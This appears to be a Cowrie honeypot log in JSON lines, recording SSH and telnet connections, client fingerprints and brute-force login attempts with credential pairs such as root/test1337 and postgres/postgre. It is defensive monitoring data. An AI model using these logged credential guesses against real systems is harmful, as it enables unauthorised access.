{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:55.238272Z","src_ip":"98.70.48.241","session":"21a96915d352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:56.045128Z","src_ip":"98.70.48.241","session":"21a96915d352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:57.243203Z","src_ip":"98.70.48.241","session":"21a96915d352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":52288,"dst_ip":"159.203.135.109","dst_port":22,"session":"9330fc0a851b","protocol":"ssh","message":"New connection: 98.70.48.241:52288 (159.203.135.109:22) [session: 9330fc0a851b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:57.432659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:57.437535Z","src_ip":"98.70.48.241","session":"9330fc0a851b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:57.634434Z","src_ip":"98.70.48.241","session":"9330fc0a851b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:58.439233Z","src_ip":"98.70.48.241","session":"9330fc0a851b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:58.635298Z","src_ip":"98.70.48.241","session":"9330fc0a851b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:58.640222Z","src_ip":"98.70.48.241","session":"2d91a19e63ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42862,"dst_ip":"159.203.135.109","dst_port":23,"session":"c089067cbb48","protocol":"telnet","message":"New connection: 147.182.143.59:42862 (159.203.135.109:23) [session: c089067cbb48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:59.533088Z"}
{"eventid":"cowrie.session.closed","duration":37.95343780517578,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:17:05.081921Z","src_ip":"45.58.127.90","session":"ada403fdd5ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.79872536659241,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:17:07.939591Z","src_ip":"45.58.127.90","session":"07977c9a8040","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.65247678756714,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:17:17.185359Z","src_ip":"147.182.143.59","session":"c089067cbb48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59576,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0be66ef823f","protocol":"telnet","message":"New connection: 45.58.127.90:59576 (10.17.0.5:23) [session: a0be66ef823f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:17:23.255677Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59584,"dst_ip":"10.17.0.5","dst_port":23,"session":"d21dbfa00832","protocol":"telnet","message":"New connection: 45.58.127.90:59584 (10.17.0.5:23) [session: d21dbfa00832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:17:26.056003Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":41476,"dst_ip":"159.203.135.109","dst_port":22,"session":"30a64528cebc","protocol":"ssh","message":"New connection: 98.70.48.241:41476 (159.203.135.109:22) [session: 30a64528cebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:17:53.288711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:17:53.305261Z","src_ip":"98.70.48.241","session":"30a64528cebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:17:53.493883Z","src_ip":"98.70.48.241","session":"30a64528cebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stserver","password":"stserver","message":"login attempt [stserver/stserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:17:54.283308Z","src_ip":"98.70.48.241","session":"30a64528cebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:17:55.476458Z","src_ip":"98.70.48.241","session":"30a64528cebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":48236,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c3428a5366f","protocol":"ssh","message":"New connection: 47.239.15.75:48236 (159.203.135.109:22) [session: 6c3428a5366f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:17:58.677844Z"}
{"eventid":"cowrie.session.closed","duration":71.21927285194397,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:00.907927Z","src_ip":"147.182.143.59","session":"75a352d387a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.89182496070862,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:03.947709Z","src_ip":"45.58.127.90","session":"d21dbfa00832","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:04.169232Z","src_ip":"47.239.15.75","session":"6c3428a5366f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.26104784011841,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:05.516641Z","src_ip":"45.58.127.90","session":"a0be66ef823f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0090343952179,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:13.148511Z","src_ip":"187.20.74.18","session":"61b67e627713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60992,"dst_ip":"10.17.0.5","dst_port":23,"session":"b24263608918","protocol":"telnet","message":"New connection: 45.58.127.90:60992 (10.17.0.5:23) [session: b24263608918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:22.516714Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39328,"dst_ip":"10.17.0.5","dst_port":23,"session":"74d27adc29ae","protocol":"telnet","message":"New connection: 45.58.127.90:39328 (10.17.0.5:23) [session: 74d27adc29ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:28.139870Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39334,"dst_ip":"10.17.0.5","dst_port":23,"session":"d41d0401f512","protocol":"telnet","message":"New connection: 45.58.127.90:39334 (10.17.0.5:23) [session: d41d0401f512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:32.149611Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43986,"dst_ip":"10.17.0.5","dst_port":23,"session":"837d1edb431a","protocol":"telnet","message":"New connection: 45.58.127.90:43986 (10.17.0.5:23) [session: 837d1edb431a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:46.101519Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":41160,"dst_ip":"159.203.135.109","dst_port":22,"session":"27dac03a6c87","protocol":"ssh","message":"New connection: 98.70.48.241:41160 (159.203.135.109:22) [session: 27dac03a6c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:54.297847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:54.302838Z","src_ip":"98.70.48.241","session":"27dac03a6c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:54.491802Z","src_ip":"98.70.48.241","session":"27dac03a6c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1337","message":"login attempt [root/test1337] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:55.281646Z","src_ip":"98.70.48.241","session":"27dac03a6c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:56.474361Z","src_ip":"98.70.48.241","session":"27dac03a6c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.570486307144165,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:18:59.087085Z","src_ip":"45.58.127.90","session":"b24263608918","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.845653772354126,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:07.995179Z","src_ip":"45.58.127.90","session":"d41d0401f512","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.29559564590454,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:13.435393Z","src_ip":"45.58.127.90","session":"74d27adc29ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42754,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b4d917b2b75","protocol":"telnet","message":"New connection: 45.58.127.90:42754 (10.17.0.5:23) [session: 4b4d917b2b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:16.726306Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:26.733738Z","src_ip":"47.239.15.75","session":"6c3428a5366f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.808592557907104,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:28.909990Z","src_ip":"45.58.127.90","session":"837d1edb431a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44146,"dst_ip":"10.17.0.5","dst_port":23,"session":"87a078a96dcd","protocol":"telnet","message":"New connection: 45.58.127.90:44146 (10.17.0.5:23) [session: 87a078a96dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:48.531375Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":48664,"dst_ip":"159.203.135.109","dst_port":22,"session":"a85259d1834a","protocol":"ssh","message":"New connection: 47.239.15.75:48664 (159.203.135.109:22) [session: a85259d1834a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:49.085963Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44158,"dst_ip":"10.17.0.5","dst_port":23,"session":"05e9e2f3dae6","protocol":"telnet","message":"New connection: 45.58.127.90:44158 (10.17.0.5:23) [session: 05e9e2f3dae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:53.428305Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":47222,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b68948fa659","protocol":"ssh","message":"New connection: 98.70.48.241:47222 (159.203.135.109:22) [session: 0b68948fa659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:56.092302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:56.097479Z","src_ip":"98.70.48.241","session":"0b68948fa659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:56.280480Z","src_ip":"98.70.48.241","session":"0b68948fa659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgre","message":"login attempt [postgres/postgre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:57.047453Z","src_ip":"98.70.48.241","session":"0b68948fa659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:58.234590Z","src_ip":"98.70.48.241","session":"0b68948fa659","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.138.187","src_port":32784,"dst_ip":"10.17.0.5","dst_port":23,"session":"12da5f753bba","protocol":"telnet","message":"New connection: 92.204.138.187:32784 (10.17.0.5:23) [session: 12da5f753bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:58.631115Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:19:58.682934Z","src_ip":"47.239.15.75","session":"6c3428a5366f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:20:00.875665Z","src_ip":"47.239.15.75","session":"a85259d1834a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.40114760398865,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:20:01.127324Z","src_ip":"45.58.127.90","session":"4b4d917b2b75","protocol":"telnet"}
